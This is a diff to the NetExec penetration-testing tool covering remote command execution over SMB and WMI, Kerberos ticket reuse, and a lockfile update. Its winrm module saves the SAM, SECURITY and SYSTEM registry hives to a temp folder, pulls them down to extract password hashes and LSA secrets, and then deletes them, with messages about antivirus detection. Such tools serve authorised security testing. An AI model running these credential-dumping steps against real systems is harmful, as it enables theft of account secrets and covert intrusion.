from impacket.dcerpc.v5 import scmr
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class SMBEXEC:
|
||||
@@ -97,42 +97,8 @@ class SMBEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
# The service start returns once the command is done, so the file can be read right away
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
|
||||
@@ -4,6 +4,7 @@ from time import sleep
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
@@ -43,6 +44,7 @@ class WMIEXEC:
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
*_, tgt, _ = smbconnection.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -55,6 +57,7 @@ class WMIEXEC:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
|
||||
@@ -141,41 +144,4 @@ class WMIEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
sleep(1)
|
||||
tries += 1
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")
|
||||
+12
-4
@@ -350,13 +350,12 @@ class winrm(connection):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} & del C:\\windows\\temp\\{system_storename}"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system")
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
|
||||
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
|
||||
@@ -376,18 +375,22 @@ class winrm(connection):
|
||||
)
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
finally:
|
||||
try:
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{sam_storename} and C:\\windows\\temp\\{system_storename}: {e}")
|
||||
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} & del C:\\windows\\temp\\{system_storename}"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
|
||||
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
|
||||
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
|
||||
@@ -420,6 +423,11 @@ class winrm(connection):
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
finally:
|
||||
try:
|
||||
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Cleanup command failed, check C:\\windows\\temp\\{security_storename} and C:\\windows\\temp\\{system_storename}: {e}")
|
||||
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
+29
-19
@@ -23,7 +23,10 @@ from dploot.lib.network.wmi import WMITarget as Target
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
@@ -43,6 +46,7 @@ class wmi(connection):
|
||||
self.nthash = ""
|
||||
self.server_os = None
|
||||
self.doKerberos = False
|
||||
self.tgt = None
|
||||
self.stringBinding = None
|
||||
# from: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d
|
||||
self.rpc_error_status = {
|
||||
@@ -146,6 +150,7 @@ class wmi(connection):
|
||||
except Exception:
|
||||
buffer = 0
|
||||
|
||||
self.remoteName = self.host
|
||||
if buffer != 0:
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
@@ -155,6 +160,7 @@ class wmi(connection):
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -164,23 +170,26 @@ class wmi(connection):
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
|
||||
def check_if_admin(self):
|
||||
# With several credentials, drop the admin flag, namespaces and DCOM connections (cached per target by impacket) of the previous one
|
||||
self.admin_privs = False
|
||||
self.namespaces = {}
|
||||
if self.dcom_conn:
|
||||
self.dcom_conn.disconnect()
|
||||
self.dcom_conn = None
|
||||
try:
|
||||
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
# Only keep the connection once activated: impacket's disconnect() can't run twice on a target
|
||||
dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=self.tgt)
|
||||
iInterface = dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
self.dcom_conn = dcom_conn
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
@@ -203,7 +212,6 @@ class wmi(connection):
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
else:
|
||||
self.logger.extra["protocol"] = "WMI"
|
||||
self.admin_privs = True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
@@ -213,6 +221,7 @@ class wmi(connection):
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.tgt = None
|
||||
self.create_conn_obj()
|
||||
|
||||
if password == "":
|
||||
@@ -234,10 +243,14 @@ class wmi(connection):
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
|
||||
dce = self.conn.get_dce_rpc()
|
||||
# Reuse one TGT for every RPC/DCOM bind, impacket would otherwise redo the AS exchange on each bind
|
||||
if not useCache and kerb_pass:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value), password, domain, lmhash, nthash, self.aesKey, kdcHost)
|
||||
self.tgt = {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey, TGT=self.tgt)
|
||||
self.conn.setRemoteHost(self.host)
|
||||
self.conn.set_kerberos(True, kdcHost)
|
||||
dce = self.conn.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.connect()
|
||||
@@ -393,8 +406,10 @@ class wmi(connection):
|
||||
escaped_path = remote_path.replace("\\", "\\\\")
|
||||
|
||||
# Load the Namespace
|
||||
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
|
||||
if powershellv3_namespace is None:
|
||||
try:
|
||||
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}")
|
||||
return None
|
||||
|
||||
# Read the file
|
||||
@@ -792,13 +807,8 @@ class wmi(connection):
|
||||
if namespace in self.namespaces:
|
||||
return self.namespaces[namespace]
|
||||
self.logger.debug(f"Getting namespace {namespace}")
|
||||
try:
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
|
||||
return None
|
||||
self.namespaces[namespace] = iWbemServices
|
||||
self.namespaces[namespace] = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
return self.namespaces[namespace]
|
||||
|
||||
@property
|
||||
|
||||
Generated
+22
-141
@@ -832,23 +832,23 @@ wmi = ["wmi (>=1.5.1)"]
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "4.1.1"
|
||||
version = "4.1.3"
|
||||
description = "DPAPI looting remotely in Python"
|
||||
optional = false
|
||||
python-versions = "<4.0,>=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
|
||||
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
|
||||
{file = "dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9"},
|
||||
{file = "dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=40.0.1"
|
||||
impacket = ">=0.13.0"
|
||||
lxml = ">=5.0"
|
||||
pick = ">=2.6.0,<3.0.0"
|
||||
pyasn1 = ">=0.4.8"
|
||||
pypsrp = ">=0.9.1,<0.10.0"
|
||||
questionary = ">=2.1.1,<3.0.0"
|
||||
|
||||
[[package]]
|
||||
name = "dsinternals"
|
||||
@@ -865,23 +865,6 @@ files = [
|
||||
pycryptodomex = "*"
|
||||
pyopenssl = "*"
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
description = "the modular source code checker: pep8 pyflakes and co"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"},
|
||||
{file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
mccabe = ">=0.7.0,<0.8.0"
|
||||
pycodestyle = ">=2.14.0,<2.15.0"
|
||||
pyflakes = ">=3.4.0,<3.5.0"
|
||||
|
||||
[[package]]
|
||||
name = "flask"
|
||||
version = "3.1.3"
|
||||
@@ -1076,7 +1059,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -1100,7 +1083,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
|
||||
resolved_reference = "40b1eb7a0d25e1f378c5824c17a87be3fd44260a"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1156,25 +1139,6 @@ MarkupSafe = ">=2.0"
|
||||
[package.extras]
|
||||
i18n = ["Babel (>=2.7)"]
|
||||
|
||||
[[package]]
|
||||
name = "jwt"
|
||||
version = "1.4.0"
|
||||
description = "JSON Web Token library for Python 3."
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11"},
|
||||
{file = "jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=3.1,!=3.4.0"
|
||||
|
||||
[package.extras]
|
||||
dev = ["black", "isort", "mypy", "types-freezegun"]
|
||||
test = ["freezegun", "pytest (>=6.0,<7.0)", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "ldap3"
|
||||
version = "2.9.1"
|
||||
@@ -1519,18 +1483,6 @@ cryptography = ">=3.5"
|
||||
impacket = "*"
|
||||
pyasn1 = "*"
|
||||
|
||||
[[package]]
|
||||
name = "mccabe"
|
||||
version = "0.7.0"
|
||||
description = "McCabe checker, plugin for flake8"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
|
||||
{file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mdurl"
|
||||
version = "0.1.2"
|
||||
@@ -1730,24 +1682,6 @@ files = [
|
||||
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
description = "Pick an option in the terminal with a simple GUI"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
|
||||
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[package.extras]
|
||||
blessed = ["blessed (>=1.17.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
@@ -1923,18 +1857,6 @@ files = [
|
||||
[package.dependencies]
|
||||
pyasn1 = ">=0.6.1,<0.7.0"
|
||||
|
||||
[[package]]
|
||||
name = "pycodestyle"
|
||||
version = "2.14.0"
|
||||
description = "Python style guide checker"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"},
|
||||
{file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycparser"
|
||||
version = "3.0"
|
||||
@@ -2193,18 +2115,6 @@ files = [
|
||||
[package.dependencies]
|
||||
typing-extensions = ">=4.14.1"
|
||||
|
||||
[[package]]
|
||||
name = "pyflakes"
|
||||
version = "3.4.0"
|
||||
description = "passive checker of Python programs"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"},
|
||||
{file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pygments"
|
||||
version = "2.20.0"
|
||||
@@ -2439,21 +2349,6 @@ pluggy = ">=0.12,<2.0"
|
||||
[package.extras]
|
||||
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
|
||||
|
||||
[[package]]
|
||||
name = "python-dateutil"
|
||||
version = "2.9.0.post0"
|
||||
description = "Extensions to the standard Python datetime module"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"},
|
||||
{file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
six = ">=1.5"
|
||||
|
||||
[[package]]
|
||||
name = "python-libnmap"
|
||||
version = "0.7.3"
|
||||
@@ -2480,6 +2375,21 @@ files = [
|
||||
{file = "pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "questionary"
|
||||
version = "2.1.1"
|
||||
description = "Python library to build pretty command line user prompts ⭐️"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59"},
|
||||
{file = "questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
prompt_toolkit = ">=2.0,<4.0"
|
||||
|
||||
[[package]]
|
||||
name = "requests"
|
||||
version = "2.32.5"
|
||||
@@ -2913,35 +2823,6 @@ files = [
|
||||
[package.dependencies]
|
||||
cryptography = ">=38.0.1"
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
description = "Support for the standard curses module on Windows"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
markers = "platform_system == \"Windows\""
|
||||
files = [
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
@@ -2960,4 +2841,4 @@ test = ["pytest", "pytest-cov"]
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.11,<4.0"
|
||||
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
|
||||
